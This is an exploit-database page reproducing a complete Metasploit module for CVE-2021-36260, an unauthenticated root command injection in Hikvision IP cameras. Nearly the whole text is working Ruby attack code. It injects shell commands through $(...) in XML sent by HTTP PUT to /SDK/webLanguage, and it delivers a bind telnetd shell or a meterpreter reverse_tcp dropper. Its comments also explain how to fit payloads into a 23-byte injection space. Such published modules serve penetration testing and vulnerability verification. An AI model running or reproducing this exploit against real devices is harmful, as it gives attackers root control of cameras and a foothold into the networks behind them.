Hikvision IP Camera Unauthenticated Command Injection

2022.03.01
Credit: bashis
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Hikvision IP Camera Unauthenticated Command Injection', 'Description' => %q{ This module exploits an unauthenticated command injection in a variety of Hikvision IP cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting in command execution as the `root` user. This module specifically attempts to exploit the blind variant of the attack. The module was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725. Please see the Hikvision advisory for a full list of affected products. }, 'License' => MSF_LICENSE, 'Author' => [ 'Watchful_IP', # Vulnerability discovery and disclosure 'bashis', # Proof of concept 'jbaines-r7' # Metasploit module ], 'References' => [ [ 'CVE', '2021-36260' ], [ 'URL', 'https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html'], [ 'URL', 'https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/'], [ 'URL', 'https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py'] ], 'DisclosureDate' => '2021-09-18', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { # the target has very limited payload targets and a tight payload space. # bind_busybox_telnetd might be *the only* one. 'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd', # saving four bytes of payload space by using 'sh' instead of '/bin/sh' 'LOGIN_CMD' => 'sh', 'Space' => 23 } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'printf', 'echo' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 80, 'SSL' => false, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end # Check will test two things: # 1. Is the endpoint a Hikvision camera? # 2. Does the endpoint respond as expected to exploitation? This module is # specifically testing for the blind variant of this attack so we key off # of the returned HTTP status code. The developer's test target responded # to exploitation with a 500. Notes from bashis' exploit indicates that # they saw targets respond with 200 as well, so we'll accept that also. def check # Hikvision landing page redirects to '/doc/page/login.asp' via JavaScript: # <script> # window.location.href = "/doc/page/login.asp?_" + (new Date()).getTime(); # </script> res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/') }) return CheckCode::Unknown("Didn't receive a response from the target.") unless res return CheckCode::Safe('The target did not respond with a 200 OK') unless res.code == 200 return CheckCode::Safe('The target doesn\'t appear to be a Hikvision device') unless res.body.include?('/doc/page/login.asp?_') payload = '<xml><language>$(cat /proc/cpuinfo)</language></xml>' res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'), 'data' => payload }) return CheckCode::Unknown("Didn't receive a response from the target.") unless res return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500) # Some cameras are not vulnerable and still respond 500. We can weed them out by making # the remote target sleep and use a low timeout. This might not be good for high latency targets # or for people using Metasploit as a vulnerability scanner... but it's better than flagging all # 500 responses as vulnerable. payload = '<xml><language>$(sleep 20)</language></xml>' res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'), 'data' => payload }, 10) return CheckCode::Appears('It appears the target executed the provided sleep command.') unless res CheckCode::Safe('The target did not execute the provided sleep command.') end def execute_command(cmd, _opts = {}) # The injection space is very small. The entire snprintf is 0x1f bytes and the # format string is: # # /dav/%s.tar.gz # # Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately, # snprintf will let us reclaim '.tar.gz' so in reality, there are 26 bytes for # our payload. We need 3 bytes to invoke our injection: $(). Leaving 23 bytes # for payload. The 'echo' stager has a minium of 26 bytes but we obviously don't # have that much space. We can steal the extra space from the "random" file name # and compress ' >> ' to '>>'. That will get us below 23. Squeezing the extra # bytes will also allow printf stager to do more than 1 byte per exploitation. cmd = cmd.gsub(%r{tmp/[0-9a-zA-Z]+}, @fname) cmd = cmd.gsub(/ >/, '>') cmd = cmd.gsub(/> /, '>') payload = "<xml><language>$(#{cmd})</language></xml>" res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'), 'data' => payload }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 or 500: #{res.code}") unless (res.code == 200 || res.code == 500) end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") # generate a random value for the tmp file name. See execute_command for details @fname = "tmp/#{Rex::Text.rand_text_alpha(1)}" case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper # 26 is technically a lie. See `execute_command` for additional insight execute_cmdstager(linemax: 26) end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top